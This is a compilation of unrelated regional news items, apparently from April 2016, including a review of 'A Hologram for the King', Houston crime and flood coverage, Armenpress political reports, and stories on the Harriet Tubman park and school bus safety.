"Hologram" is the story of a decent man who needs to put over a deal. An IT specialist, he has been invited by the government of Saudi Arabia to show his company's hologram technology to the king. If he makes the sale and gets the commission, everything will be OK. But for now, his boss doubts him; his divorce is costing him money; and his devoted daughter had to temporarily leave college because he couldn't pay the tuition.

Hanks portrays a fellow whose job is to conceal his worries and make sure nobody else worries - not the boss above him nor the employees below him. His Alan is someone who knows the value of a sunny attitude, of a crisp white shirt and of always remembering the other fellow's name. Hanks also plays the discombobulation and irritation that comes with realizing that all his assets of personality and disposition might not help one bit.

It's one businessman's story, but it's bigger than that.

There's the sense that this is the story of the American businessman, competing in a global climate that's cold to the persuasive charm of American cheerfulness and interested in money entirely and in quality not at all.

Hanks finds a dignity in life disappointment that comes out of the simple assumption that people have value, that lives are bigger than deals.

Everyone else is up to Hanks' level, from the mysterious Saudi businessmen to the two women who cross his path - a Danish woman working in the kingdom (Sidse Babett Knudsen) and a Saudi doctor (Sarita Choudhury) with Western tendencies.

It's a strange thing: "A Hologram for the King" is mostly about a series of nuisances, annoyances and stresses, and yet it's a pleasure from beginning to end.
Police are searching for a 56-year-old man who went missing Wednesday in downtown Houston.

James Jones is described as being about 5 feet, 9 inches tall and weighing about 190 pounds. He has black hair and brown eyes.When he went missing he was wearing a black long-sleeve dress shirt and blue jeans. He was barefoot.

Jones has scars near his right eye, on his nose and on his right forearm.

Jones, police said, suffers from grand mal seizures and takes medication for high blood pressure and anxiety.

Anyone with information about Jones' whereabouts is urged to contact the HPD Missing Persons Unit at 832-394-1816.
Three would-be thieves left empty-handed early Friday morning after they rammed a stolen pickup into the side of a convenience store in northeast Houston.

The attempted smash-and-grab burglary occurred about 4:45 a.m. at a Chervon gasoline station at 15207 Vickery, according to the Houston Police Department.
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Chloe Dao has few regrets in her career as a fashion designer.

But turning down the opportunity to be a designer and tailor for Prince on his 2006 tour is among her biggest.

HARD REALITY: Houston lawyers to be on new show

After news of Prince's death broke on Thursday, Dao revealed the missed opportunity on her Facebook page.

Dao, who won "Project Runway" in 2005, says she was contacted by Prince's team shortly after her win. He was a fan of the show and liked her style.

"They contacted me by email and asked me, 'Did I want to go on tour on Prince?'" Dao said in an interview Friday.

The job entailed being his in-house tailor and designer at "their beck and call doing whatever they needed on short notice."

Dao said it sounded more like a seamstress role than a designer, so she turned it down.

"Believe me, I really wanted to go," said Dao, who also owns her namesake boutique in Rice Village. "The emotional side of me said, 'yes,' but the practical side of me said I had a business and I needed to stay on top of my business. I didn't want to be a seamstress. "

"Of course, I regret it. It was the fear of doing another crazy last-minute thing. I was away (from Houston) for so long with 'Project Runway.' I needed to go back to taking care of business."

Dao also consulted with Prince's ex-wife, Manuela Testolini, when she was interested in starting a clothing line. The two sat side by side at the Milly fashion show in New York in 2007 and talked fashion.

On Prince's death, Dao said she's a bit emotional.

"It's the first time I wanted to cry. I didn't feel that way about Michael (Jackson) or Whitney (Houston.) He was a performer. He was a tiny little man, but he knew how to work it," she said.
Every year, the Avon Foundation hosts a two-day walk that covers 39.3 miles across the city of Houston, drawing more than 1,000 women and men (but mostly women) to town to raise money for breast cancer research and treatment. This year, the event will take place on Saturday, April 23 and Sunday, April 24.

So if you see a sea of walkers, clad in bright pink T-shirts and the occasional tutu this weekend, it probably has something to do with this.
STEPANAKERT, APRIL 22, ARMENPRESS. Foreign Minister of the Nagorno Karabakh Republic Karen Mirzoyan received members of the Pontian Federation of Greece on April 22, who had arrived in Artsakh on a familiarization visit.

As Armenpress was informed from the press service of NKR MFA Karen Mirzoyan welcomed the visit of the members of the Pontian Federation of Greece to the NKR as a manifestation of the Armenian-Greek traditional friendly relations and stressed its importance for getting acquainted with the political, educational, cultural and social life of Artsakh.

During the meeting, Karen Mirzoyan briefed on the current situation in the process of peaceful settlement of the Azerbaijani-Karabakh conflict, referring to the large-scale military aggression unleashed by Azerbaijan against the NKR on April 2-5 and its consequences. In this regard, the NKR Foreign Minister noted that in their brutality, the war crimes committed by the Azerbaijani armed forces did not differ from the Genocide committed against Christians in the Ottoman Empire a century ago.

During the meeting, the sides exchanged views on the possibilities and prospects of establishing relations between the Pontian Federation of Greece and Artsakh, in particular, its Greek community.
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In 2017 the city of La Porte will celebrate 125 years of its existence. Ahead of this event, which will be marked with a whole year of parties and parades, the city is sharing a handful of select photos from its earliest days.

Many of the photos feature one of the residents favorite pastimes: parades.

La Porte is a big parade town. The city holds parades every year for Fourth of July, Sylvan Beach Day, Juneteenth, and Christmas on Main and any other opportunities that come up, says Jaree Hefner, a marketing and PR specialist with the city of La Porte.

RELATED: New Gilley's dance hall included in proposed La Porte Town Center

The residents in these photographs from the late '30s seem to be celebrating the beginnings of La Porte. Local businesses and Main Street have always been supportive of parades, Hefner says.

La Porte was founded in 1892 as a real estate investment and enjoyed a period in the '20s and '30s as a regional tourist destination. It remains the oldest incorporated town in east Harris County.

The Sylvan Beach Park was home to a large boardwalk and dance pavilion that hosted some of the most high-profile beauty contests and entertainers of that era, Hefner says. It was a hidden gem.

Fun fact: both surgeon Denton Cooley and broadcaster Walter Cronkite spent time working at the park in their youth.

RELATED: Check out historic photos of Deer Park, the birthplace of Texas

The city holds pride in the fact that the 1,200-acre San Jacinto Battleground State Historic Site brings tourists and Texas history buffs to the area at a regular clip.

Ground was broken in 1936 on the San Jacinto Monument on the north side of town, opening up to the world three years later. The Battleship Texas arrived within a few hundred yards of the monument in 1948.

Much like Deer Park to the west off Texas 225, La Portes residents benefited from the refineries in the area that provided industry and jobs for those in the region. Du Pont built a plant there in 1945, and the Bayport Channel and nearby Johnson Space Center only bolstered the prosperity in the city.
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A 50-year-old time capsule, buried at a former theater in Clear Lake, was unearthed Wednesday after decades of being hidden away.

Jim Johnson, branch manager of the Clear Lake City-County Freeman Branch Library, has led the charge to exhume the Clear Lake Theatre time capsule since it was buried 50 years ago to much fanfare.

The theater, off El Camino Real, has changed hands over the years and gone through a handful of incarnations. It was last a Chinese restaurant.

It took longer than Johnson and the staff expected to get the time capsule out of its concrete vault. What was to be a quick 30-minute job stretched to nearly two hours, Johnson said.

Sadly, decades of ground water had gotten to it first, but that didnt deter the archivists tasked with collecting the artifacts inside. The contents of the time capsule were treated with loving care and over the past day, theyve released photos of some of the highlighted items.

RELATED: Many eager to see what's in 50-year-old time capsule

Johnson had little to go on about the contents of the time capsule or what condition they could be in.

The capsule was placed to commemorate the opening of the Clear Lake Theatre, which was attended by actor Chuck Connors and NASA luminary John Shorty Powers.

In 2009, someone in the area reminded the community that it existed, Johnson said.

Its likely that without someone speaking up it would have stayed put. The metal box was found under two layers of concrete.

The people that placed it in 1966 sealed it in plastic which was no match for the ground water. The time capsule materials, including a small model of NASAs Gemini spacecraft, didnt smell too wonderful after being stuck in water for the past half-century. Still, Johnson says that the items have a special place in Clear Lake history, no matter how stinky they might have been.

Some of the items reflect Clear Lake coming into its own in the 60s," Johnson said.

RELATED: Other time capsules await the eyes of future Houstonians

The archivists decided to put the waterlogged items back in fresh water just after it was all uncovered, which seems counterintuitive but Johnson said it seemed to have worked.

When a time capsule is buried in the ground, it is going to absorb water," Harris County archivist Sarah Jackson told space history site CollectSpace. We are not out in the desert. We are in Houston, Texas with lots of rain, high humidity, hurricanes, so this thing was probably flooded from the beginning."

On Wednesday and Thursday, items from the time capsule were being displayed on the Clear Lake Theatre Time Capsule Facebook page.

Several newspaper and pamphlets were included in the thick stack of items, plus a small American flag carried by NASA astronaut Pete Conrad into space in 1965.

That flag appears to have been the best preserved thing inside the time capsule, likely because it was inside an envelope.
YEREVAN, APRIL 22, ARMENPRESS. During its April 21 plenary session convened especially for remembrance of the Armenian Genocide, the City Council of the City of Vicente Lopez of Argentina adopted once again a resolution condemning the Armenian Genocide, assessing it as the first genocide of the 20th century, perpetrated by the Ottoman Empire. As the spiritual pastor of the Saint Gregory the Illuminator Armenian Church of Buenos Aires, Father Archimandrite Maghakia Amirian informed Armenpress, the members of the City Council confirmed their positions on the Armenian Genocide in their speeches stating that it deserves to be condemned and recognized.

After the session, a plaque dedicated to the Armenian Genocide was unveiled in the yard adjacent to the City Council. In his speech, Chairperson of the City Council Carlos Sanda expressed his admiration of the Armenian people and the Armenian community of Argentina, stating that Argentina is a familiar place for the Armenians and that Argentina is always ready to help them exercise all their rights to a just life. Speaking on behalf of the Armenian community, Jorge Tosounian attached importance to the fact that Argentina always stands with the Armenians and helps them solve their major issues. Tosounian also touched upon the recent military actions in Artsakh, stating that Artsakh has always been an Armenian land and that Azerbaijans goals and desires are ungrounded.

Afterwards, Prelate of the Armenian Diocese of Argentina, Archbishop Kisag Mouradian delivered his blessing to the present, stating that the Armenians have deep roots in the Mother Homeland and as full-fledged citizens in Argentina and that they are grateful for the huge support that the Argentine government and people provide.
YEREVAN, APRIL 22, ARMENPRESS. The press service of the White House of the USA has published the statement of the U.S. President Barack Obama on the remembrance day of the Armenian Genocide. Armenpress presents the full text of the statement.

Today we solemnly reflect on the first mass atrocity of the 20th centurythe Armenian Meds Yeghernwhen one and a half million Armenian people were deported, massacred, and marched to their deaths in the final days of the Ottoman empire.

As we honor the memory of those who suffered during the dark days beginning in 1915and commit to learn from this tragedy so it may never be repeatedwe also pay tribute to those who sought to come to their aid. One such individual was U.S. Ambassador Henry Morgenthau, Sr., who voiced alarm both within the U.S. government and with Ottoman leaders in an attempt to halt the violence. Voices like Morgenthaus continue to be essential to the mission of atrocity prevention, and his legacy shaped the later work of human rights champions such as Raphael Lemkin, who helped bring about the first United Nations human rights treaty.

This is also a moment to acknowledge the remarkable resiliency of the Armenian people and their tremendous contributions both to the international community as well as to American society. We recall the thousands of Armenian refugees who decades ago began new lives in the United States, forming a community that has enormously advanced the vitality of this nation and risen to prominence and distinction across a wide range of endeavors. At a moment of regional turmoil to Armenias south, we also thank the people of Armenia for opening their arms to Syrian refugees, welcoming nearly 17,000 into their country.

As we look from the past to the future, we continue to underscore the importance of historical remembrance as a tool of prevention, as we call for a full, frank, and just acknowledgment of the facts, which would serve the interests of all concerned. I have consistently stated my own view of what occurred in 1915, and my view has not changed. I have also seen that peoples and nations grow stronger, and build a foundation for a more just and tolerant future, by acknowledging and reckoning with painful elements of the past. We continue to welcome the expression of views by those who have sought to shed new light into the darkness of the past, from Turkish and Armenian historians to Pope Francis.

Today we stand with the Armenian people throughout the world in recalling the horror of the Meds Yeghern and reaffirm our ongoing commitment to a democratic, peaceful, and prosperous Armenia.
YEREVAN, APRIL 22, ARMENPRESS. Azerbaijan spared no efforts during this process to withdraw from the ceasefire agreement of 1994 and bring forward a new document on Nagorno Karabakh conflict settlement, but its diplomatic initiatives were a failure. RPA spokesperson, Vice President of Republic of Armenia National Assembly Eduard Sharmazanov told the journalists about this after the RPA Executive Body meeting. Foreign Minister of Russia Sergey Lavrov, speaking also on behalf of the OSCE Minsk Group, announced that the ceasefire agreement of 1994 has indefinite duration and it must remain in force. The fact there is such an announcement shows that the Minsk Group Co-chairs accept that Nagorno Karabakh is one of the parties of the conflict, the signature of which exists in the ceasefire agreement, Armenpress reports Sharmazanov mentioning.

Sharmazanov reminded that prior to Lavrovs visit there were many talks about the existence of a new document for the conflict settlement, and about surrendering territories and unilateral concessions and that allegedly Lavrov was coming to enforce something. The document discussed in Kazan in 2011 is on the negotiation table. And the Russian Foreign Minister clearly stated that it was Azerbaijan, but not Armenia, that declined the document. If Azerbaijan was the one who declined the document, it means that document does not meet the interest of Azerbaijan. Besides, Lavrov once again stated that there is a necessity to install investigative mechanisms on the contact line, something that Armenia has always supported, but Azerbaijan denied, the National Assembly Vice President added.

Sharmazanov also attached importance to the announcement of Sergey Lavrov, who stated that the announcement of the Turkish leadership during the days of the April war was a call for war, not peace. This was also a clear message. We have reiterated for many times that Turkey is the only country that overtly supports the criminal policy of Azerbaijan, and today the Russian Foreign Minister said the same, he stated.

At the same time the National Assembly Vice President stated that it is early to speak about the resumption of peace talks of Nagorno Karabakh conflict settlement.

Confidence mechanisms are necessary for resuming the talks: balance of power and confidence that Azerbaijan will not take provocative measures for the second time. This is the responsibility of the international community. I have already said that it is high time for the international community to exert pressure on Azerbaijan and impose other sanctions on that country. Here we have to record to important things: the Defense Army servicemen were able to neutralize Azerbaijan on the battlefield, and Azerbaijans plan on diplomatic arena, to withdraw from the ceasefire regime and bring forward a new document for the conflict settlement, was a failure as well, Sharmazanov concluded.
A major hurdle has been cleared in the process of formally establishing the Harriet Tubman National Historical Park in Auburn.

U.S. Attorney General Loretta Lynch signed a general agreement Friday which allows the transfer of land between Harriet Tubman Home, Inc. and the National Park Service.

Under terms of the accord, the National Park Service will acquire the historic Thompson Memorial A.M.E. Zion Church on Parker Street. The two sides will then jointly operate the South Street property where Tubman's former residence and the Home for the Aged are located.

The agreement was needed before the park was established. The National Park Service is required to have at least a share of the property before the unit is added to the national park system.

"This is good," said Karen Hill, executive director of the Harriet Tubman Home. "This is really, really good."

Cayuga County's federal representatives hailed the signing of the general agreement, which came two days after the U.S. Treasury announced that Tubman would become the new face of the $20 bill.

U.S. Sen. Chuck Schumer said "we hit two grand slams for Tubman" this week.

"Being on the $20 bill and now having the national park in her honor and focused on Auburn," he said in a phone interview. "Auburn is sort of the center of national attention today."

U.S. Sen. Kirsten Gillibrand, who with Schumer pushed for the establishment of the park, called Tubman a "remarkable American hero."

"The Harriet Tubman residence showcases the life of an icon and agent of social change who altered the face of our nation for future generations," she said in a a statement. "This designation would be another national highlight of New York's rich history and would strengthen our commitment to preserving our landmarks."

U.S. Rep. John Katko, along with the state's U.S. senators, urged Lynch to sign the agreement. He sent a letter to the attorney general last week asking her to quickly approve the pact.

The Department of Justice spent four months reviewing the agreement  a requirement since it involves the A.M.E. Zion Church, which owns the Parker and South street properties in Auburn.

"I applaud Attorney General Lynch for approving this agreement to recognize the Harriet Tubman Home in Auburn as a national park," Katko, R-Camillus, said in a statement.

"Coupled with this week's announcement that the U.S. Treasury will place Harriet Tubman on the $20 bill, our region is poised to see great boosts in our tourism-based economy as we honor the life and legacy of a remarkable American leader."

The agreement must be signed by the Harriet Tubman Home  Hill said they'll sign it  and it will go to the state attorney general's office for review.

Because the transfer involves a non-profit organization, it must be evaluated by the state attorney general's office.

Michael Caldwell, the National Park Service's Northeast regional director, appeared at the Wednesday Morning Roundtable in Auburn last month and explained the next steps in the park establishment process.

Once the land agreement is in place, a ceremony will be held in Washington D.C. to formally establish the park. Local officials hope to have a smaller ceremony in Auburn.

Schumer said the park could open by the end of the year.

The general agreement was signed roughly 16 months after Congress approved legislation  the 2015 National Defense Authorization Act  which included a provision creating the Tubman park in Auburn and the Harriet Tubman Underground Railroad National Historical Park in Maryland.

President Barack Obama signed the bill in December 2014.

The achievement was years in the making. Cayuga County's representatives had long pushed for passage of the Tubman parks legislation, but it didn't receive votes in both houses until it was included in the 2015 NDAA.

"It's been a long crusade," Schumer said. "When I first met with the folks there and they said 'This is a dream. We don't know if it's doable, but it's a dream.' And it's become reality."
A longtime Democratic member of the New York State Senate will step down to take a job with Gov. Andrew Cuomo's administration.

State Sen. Ruth Hassell-Thompson has been appointed to serve as special adviser for policy and community affairs of New York State Homes and Community Renewal.

Hassell-Thompson, who represents the 36th Senate District which includes parts of the Bronx and Westchester County, will begin her new job in July.

"As a nurse, an advocate and a member of the New York State Legislature, Senator Hassell-Thompson has spent her entire career fighting to improve lives and build communities," Cuomo said. "I am proud to have her continue this work as a member of my administration and look forward to working with her to build a stronger, fairer and more prosperous New York for all."

Before being elected to the state Senate in 2000, Hassell-Thompson served as a member of the Mount Vernon City Council. She also had a stint as the council's president and acting mayor.

She worked as a nurse at Mount Vernon Hospital and was the founding president and CEO of The Gathering, a women's center in Mount Vernon.

Her other work experience includes serving as president and CEO Of Whart Development Company, a real estate development firm, and executive director of the Westchester Minority Contractors Association. She also was the head of the Westchester Community Opportunity Program, which assisted residents gain access to various services.

"I am thrilled to be joining Governor Cuomo's administration within New York State Homes and Community Renewal," Hassell-Thompson said. "Under Governor Cuomo, HCR has a tremendous impact on advancing housing policy statewide, including the governor's efforts in developing and protecting affordable housing and protecting vulnerable communities. I am excited to lend my expertise to those efforts."

While Hassell-Thompson's resignation will create a vacancy in the state Senate, Democrats are expected to hold the seat.

The 36th Senate District has 123,140 active Democratic voters and 6,564 registered Republicans, according to the state Board of Elections.
OWASCO  When the beeps of her smoke detector woke Lynn Smith up at 5:30 in the morning Saturday, March 5, she was in denial.

Then her ADT alarm went off, too.

Her eyes burning, her nose perked by the smell of chemicals, Smith soon realized the smoke detector wasn't signaling that its batteries were low. It was signaling that the space heater in her granddaughter Mila's bedroom had caught fire.

So Smith and her daughter, Kelly, gathered Mila and Smith's other infant grandchild, Olivia, and evacuated their Burtis Point Road home.

Next, Kelly called 911  but the Owasco Fire Department was already on its way.

That's because ADT dispatcher Amanda Willoughby made the call herself shortly after the security company's alarm was triggered, and shortly before she called Smith to let her know help was on its way. The fire only had time to scorch the bedroom carpet and blacken the walls in half the house before the Owasco Fire Department snuffed it out.

"If I didn't have those alarm systems, that fire  all I can think of is how fast it would have spread through the house while we were sleeping," Smith said.

Friday morning, ADT held an event at Smith's home, where it presented the company's highest honor, the Life Saver Award, to Willoughby and the technicians who installed the home's alarm system. The company flew Willoughby in from Knoxville, Tennessee, site of the ADT monitoring center where she works, so she could accept the award  and so Smith could personally thank her rescuer.

"She was my voice of calm and reassurance," Smith said of Willoughby. "All I can think of is: It was a bad situation, but everything went right. It was a miracle."

ADT and Smith's insurer, State Farm, also presented two $5,000 checks to the Owasco Fire Department for its efforts March 5. Chief Chris Morabito asked Assistant Chiefs Tom Notarpole  who arrived first at Smith's home  and Matt Sloan to accept the checks.

Morabito said the $10,000 will fund the purchase of an air compressor to fill firefighters' bottles before they enter dangerous environments like Smith's.

"Every two and a half hours, someone in America dies in a house fire," Morabito said at the event. "Smoke detectors are a definite need in every house. If you can hook it up to a center like ADT, that makes it even better because you know you're getting somebody to call you back and make sure everything is good."
A Guatemalan woman was sentenced in federal court in Houston Friday for her role in an elaborate human smuggling operation that ushered more than a dozen undocumented immigrants from India via South and Central America to the United States.

U.S. District Judge Ewing Werlein Jr. sentenced Rosa Astrid Umanzor-Lopez, 36, to three years in federal prison. Officials expect she will face deportation upon the conclusion of her prison term.
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A Hogg Middle School teacher was arrested and charged with indecent exposure on Thursday after allegations that he exposed himself to a student.

The suspect allegedly exposed himself to a girl walking to another school in the Heights.
JORDAN  Law enforcement from across the state are using marked and unmarked patrol vehicles to follow school buses to look for motorists who pass stopped school buses.

The Jordan Elbridge Central School District hosted an event Thursday to draw attention to the problem and to remind drivers  and students  to be more careful.

David Adam, president of the New York Association of Pupil Transportation, said that motorists illegally pass stopped school buses every day, and that Operation Safe Stop, which began in 1993, has evolved as cell phones and electronic devices are more commonly being used in vehicles.

The roads have never been more dangerous with the amount of distracted driving that is occurring throughout the state and throughout the nation, Jordan Elbridge School Superintendent James Froio said.

I want to do something a little bit differently this year, Adam said. Id like to thank the millions of people who do exactly what we want them to do. They stop, 50, 75 feet in front of the bus. They wait patiently for our drivers as they wait patiently for your students to come out of the house sometimes a minute or two, which can feel like an eternity when you are in a car. When we shut the door and turn off the lights and are ready to leave, they give us an acknowledgment.

But some don't wait, and pass buses with flashing red lights.

Onondaga County Sheriff Gene Conway said he doesnt understand why people put their lives and the lives of children at risk in this way.

When the education and initiatives fail, law enforcement has to step in he said.

There is just no tolerance for this, passing a school bus that has children on it, not rhyme or reason, no rationalization for it, Conway said, adding that school buses are so well marked, there really is no excuse for this behavior.

Roxanne Bocyck founded a non-profit, Back To School, Inc. , which teaches safe behaviors through training and continuing education to improve school bus safety. She is a former school bus driver who instructs other drivers on safety.

I hear it all the time from drivers, the public passes them on flashing reds, Bocyck said.

Back To School instructs children, too. When disembarking, they are instructed to stop at the door and look both ways before they step out. If they need to cross the street, it is done in front of the bus using the universal safe crossing method with eye contact and signaling from the driver. She said bus routes are created to try and eliminate as much crossing the street as possible.

The public doesnt know but even on divided highways, you must stop when you see flashing red, she said. People from out of state might not know this.
A man who violated parole after a federal conviction for bank fraud involving fake military IDs was ordered Thursday to return to prison.

U.S. District Judge Nancy Atlas in Houston ordered Todd Neuwirth, 38, into the custody of the U.S. Bureau of Prisons for parole violations on two federal cases. Neuwirth must serve six months in federal prison, followed by six months as an inpatient at a drug treatment facility.

"If I get wind that you have tested positive for anything, I'm going to have you arrested," Atlas told the defendant, who had freely admitted he had been addicted to drugs for 20 years.

Neuwirth was sentenced in 2010 for defrauding banks in several states by requesting cash advances on unauthorized credit cards that matched false military spouse identification cards he'd manufactured.

Atlas explained she did not want him to be arrested, but said she wanted to make it clear that, "I don't want you to go near drugs."

He pleaded guilty to the federal fraud offense along with codefendant Amber Schneider in October 2009. The judge sentenced him to three and a half years for defrauding banks of $171,600 and ordered the pair to pay that full amount in restitution.

After serving about a year and a half at a federal prison in Beaumont, Neuwirth was released to a halfway house. He escaped that facility five months later in 2012. That escape charge was still pending before another federal judge, and was included as part of Atlas' sentence Thursday.

Before he made it back to deal with the original federal conviction or the escape charge, Neuwirth was convicted in state court for a 2013 drug case and was sentenced to serve two and a half years in a state prison. He racked up a total of seven violations of his supervised federal release in 2013, including testing positive for amphetamines, giving a fake address and failing to follow instructions.

Neuwirth told Atlas he had promised his 12-year-old daughter he would shape up, get into drug treatment and start attending church.

"I want to get on my feet and be somebody who can look in the mirror and like the person I see," he said.
A federal judge granted a partial delay Thursday in a civil lawsuit brought by the family of Sandra Bland, who died in the Waller County jail after being detained following a traffic stop.

U.S. District Judge David Hittner ruled that Trooper Brian Encinia, who initiated the 2015 traffic stop that led to the 28-year-old black woman being jailed, may delay his deposition in the federal case until his criminal case is resolved in state court.
This week's storm, which drenched the region with the most water since Tropical Storm Allison, has destroyed hundreds of homes, caused millions of dollars in damage and left many affected families unsure of what to do next.

Here's a list of tips and places to go to start the recovery process.

Insurance

If you have flood insurance, contact your insurance company or agent to file a claim. You will likely need to file a claim within 60 days of flooding, according to the Harris County Flood Control District.

More Information On the web More detailed information can be found at houstonrecovers.org for the city and harrisrecovery.org for the county. See More Collapse

Documents

Document and photograph any damage. You will need this for insurance claims and also if federal emergency management funds become available. If you conduct any repairs, keep the receipts. When you're doing repairs, make sure to check contractors' qualifications and references, and get several different quotes. Get written estimates for repairs. You may need to obtain permits for certain repairs. Information from the city can be found athoustonemergency.org. Starting Monday, county residents can call 713-274-3880 for permitting questions, and can also call the engineering department at 713 274-3900.

River levels as of Thursday, April 21

Report damage

If you're in the county but not in Houston, register damage at readyharris.org or by calling the flood control district at 713-684-4000. If you're in the city, report your flood damage on houston311.orgor call 311. Currently, reporting helps the county and the city get an idea of where the damage is and the scope of the damage, both important if the area is going to get federal emergency funds that would help people do repairs.

Immediate shelter

If you're in immediate need of shelter, contact the Harris County Housing and Community Resource Center at 877-428-8844 or visit www.hrc.hctx.net. They can help find apartments and negotiate with landlords. The American Red Cross has multiple shelters open across greater Houston, open 24 hours a day with food. For information, call the Red Cross at 1-866-526-8300.

Other services

Dial 211 for help with a variety of social services, including for food and medical needs. They may refer you to nonprofits or the county's community services department. The 24-hour line is operated by the United Way of Greater Houston and accommodates many languages. More information about city services can be found by calling 311. The Houston Food Bank has a helpline at 832-369-9390. The Salvation Army of the Greater Houston Area has been distributing food and water to affected residents, they can be contacted at: 713-752-0677. Mayor Sylvester Turner has also established the Greater Houston Storm Relief Fund - to donate, visit houstonrecovers.org.

FEMA

At this point, funds from the Federal Emergency Management Agency are not available for people affected by the flood. This would require a disaster declaration from President Barack Obama. This is expected, so document and photograph damage and repairs for possible reimbursement. If and when FEMA money becomes available, check harrisrecovery.org.

Health

Check for smells in your home; don't enter if you smell gas. Throw away things that have been touched by flood waters if they can't be easily washed, cleaned and disinfected; waters can carry disease and germs. Throw away all food that's touched floodwaters. Watch out for mold. More information can be found here: epa.gov/mold.

Debris

The city is working on a plan for debris removal but is encouraging residents to pile debris outside their homes in different categories: vegetation, building materials, appliances, electronics and hazardous waste like cleaning liquids, paint, lawn chemicals or automotive oils. Residents living in the unincorporated county should contact the precinct they live in:Precinct 1: 713-991-6881, Precinct 2: 713-455-8104, Precinct 3: 281-463-6300, Precinct 4: 281-353-8424.
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The Houston area gained a welcome respite Thursday from this week's deadly deluge, but concerns mounted that in the days ahead, flooding - or the threat of flooding - might imperil communities near the region's swollen rivers and reservoirs.

Eight people died in flooding this week as up to 17 inches of rain pummeled the metro area. More than 2,000 homes were flooded in Harris County, where preliminary estimates placed damage in excess of $8 million.

Residents in the Bear Creek Village subdivision in northwest Harris County were warned Thursday of potential flooding from rising water in Addicks Reservoir.

In Wharton, a mandatory evacuation order was issued for a square-mile area of homes and businesses as the Colorado River rose to more than 48 feet - almost 10 feet above its flood stage.

River levels as of Thursday, April 21

SCHOOL SCHEDULES: Several campuses remain closed

In Harris County, where authorities expected the San Jacinto River to remain in major flood stage through Sunday morning, houses and roadways were flooded near the intersection of Forest Cove and Hamblen Road.

Kingwood-area residents kept a wary eye on the rising San Jacinto as runoff from days of flooding continued to push toward the Gulf of Mexico.

"We collect all the water," Juancarlos Crane said as he watched rain fall and water rush across the roadway from a gas station. "It might have receded up there, but we'll have high water for another few days."

Flooding in Bear Creek Village was reported hours after Army Corps of Engineers officials warned residents of rising waters in the Addicks Reservoir. Residents living near Barker Reservoir also were apprised of the flooding threat.

Engineers said flood gates at the reservoirs, built in the 1930s and '40s to protect Houston from flooding, would be opened Thursday night. Still, the release of water would not be sufficient to prevent flooding along the basins' perimeters, officials said.

The Corps will not release a volume of water that would cause flooding on Buffalo Bayou.

Colorado River rages

About 60 miles southwest of downtown Houston in the small city of Wharton, officials on Thursday issued a mandatory evacuation order for neighborhoods bordering the turbulent Colorado River. Fueled by early-week rains that dumped up to 14 inches of rain in the La Grange area, the river reached a flood level only about 3 feet below the all-time high set in 1913.

At mid-afternoon, the Colorado was flowing at 70,000 cubic feet per second.

Mayor Domingo Montalvo Jr. said he had never seen the river run so fast. "It had surprised us," he said at a news conference.

By early afternoon, approximately 350 homes were flooded or were in imminent peril of inundation.

"There is no reason we should have any loss of life," Montalvo said.

TRAGIC FOOTAGE: Video shows flood victim's SUV driving into high water

Hours later, most of the 75 beds in an improvised shelter at the town's junior high school had been filled, and efforts were underway to expand the refuge. Authorities said nine people in eight homes in the evacuation zone refused to leave.

"No one wants to leave their homes," said the mayor's wife, Sarah, who was coordinating the shelter operation. "They start coming when the water comes."

Ministers were on hand at the space, where spiritual music played, she said. A barbecue meal of fried chicken and oxtail had been served.

Authorities used boats and high-water, military-style vehicles to carry residents from the evacuation zone, where water ranged from knee- to chest-deep.

Wharton homeowner Daisy Carter, 57, voluntarily left her home of 30 years earlier in the week when a police officer arrived at her door to warn of the danger.

"He made it feel really serious," she said.

She left her home with photographs of her grandson and mother, both of whom have died. On Thursday, she trekked back to check on her home and found it filled with approximately four feet of water.

"It's drowned now," she said. Still, she added, "If you've got God and you believe in God and you've got faith, you're going to be OK."

Fort Bend County calms

Elsewhere in the region, the picture seemed a bit brighter.

In Fort Bend County, Lach Mullen, a planner with the county's Office of Emergency Management, said the pumping of water from drainage channels in the Valley Lodge subdivision was nearing its end.

Workers began pumping channel water into the Brazos River earlier this week as streets in the development began flooding.

A voluntary evacuation order was issued in some Rosenberg neighborhoods as the Brazos inched toward the 50-foot major flood stage, he said, but no flooding was reported.

In Harris County, the West Fork of the San Jacinto River, absorbing water from Cypress Creek, was at major flood stage Thursday and causing area flooding. The waterway's level is not expected to drop below flood stage until Tuesday.

South of Lake Houston, where homes in the Highlands, Banana Bend and Rio Village communities flooded, the San Jacinto barely was in major flood stage, and declines were expected.

Harris County Flood Control District spokeswoman Kim Jackson said Lake Houston-area communities suffering floods should see relief by Friday.

The National Weather Service predicted a 20 percent chance of rain Friday morning, with partly cloudy skies in the afternoon.

A 50 percent chance of rain is expected Sunday morning, declining to 40 percent Sunday night and 20 percent for the early days of next week.

Mihir Zaveri, Allan Turner andSt. John Barned-Smith contributed to this report.
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AUSTIN, Texas (AP)  An off-duty Central Texas police officer gave a teenage runaway a ride to Austin about 10 days before the youth was charged in the killing of a college student.

Georgetown police said Thursday that the officer broke no policies by helping 17-year-old Meechaiel Criner.

Criner remained in custody Friday facing a murder charge in the death of University of Texas student Haruka Weiser, 18, who was from Oregon. Her body was found April 5 near the alumni center.

Police say the officer, whose name wasn't released, stopped at a Georgetown-area store on March 23 where Criner  with blisters on his feet  had been hanging around for several hours.

The officer, when off-duty, returned with his personal vehicle and drove Criner to a hospital near campus.

"He didn't engage any police resources, any taxpayer money," said Cory Tchida, Georgetown assistant police chief. "It's almost like the fact that he is a police officer is incidental. He was trying to be decent and help somebody out."

Tchida said the officer learned Criner's first name, but didn't ask for any identification or check his name against available criminal record or missing person databases. Tchida said he was under no obligation to do so because he wasn't responding to a complaint of possible criminal activity.

Tchida said the officer is haunted by the case.

"To say he is upset about what happened is an understatement," Tchida said. "But you don't know what's going to happen two weeks down the road."

Attorney Ariel Payan said Criner's defense team is still in the early stages of its own investigation and is having Criner undergo psychological evaluations to determine whether he is competent to stand trial.
The first murder in an affluent Fort Worth suburb in 14 years will go to trial next week. The case  which centers on the slaying of a former drug cartel lawyer outside a Southlake shopping plaza  has all the makings of a tabloid sensation.

The defense for the suspected killers keep upping the ante with scandalous claims about the deceased Juan Jesus Guerrero Chapa. This week the attorney for Jose Luis Cepeda-Cortes (one of two people on trial) stated that Guerrero Chapa, 43, had a womans family killed before his own murder in Southlake.
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AUSTIN -- Texas Agriculture Commissioner Sid Miller has met with his Mississippi counterpart multiple times since being elected, but there are no records indicating any meeting during Miller's trip to the Magnolia State to compete in a rodeo in February 2015.

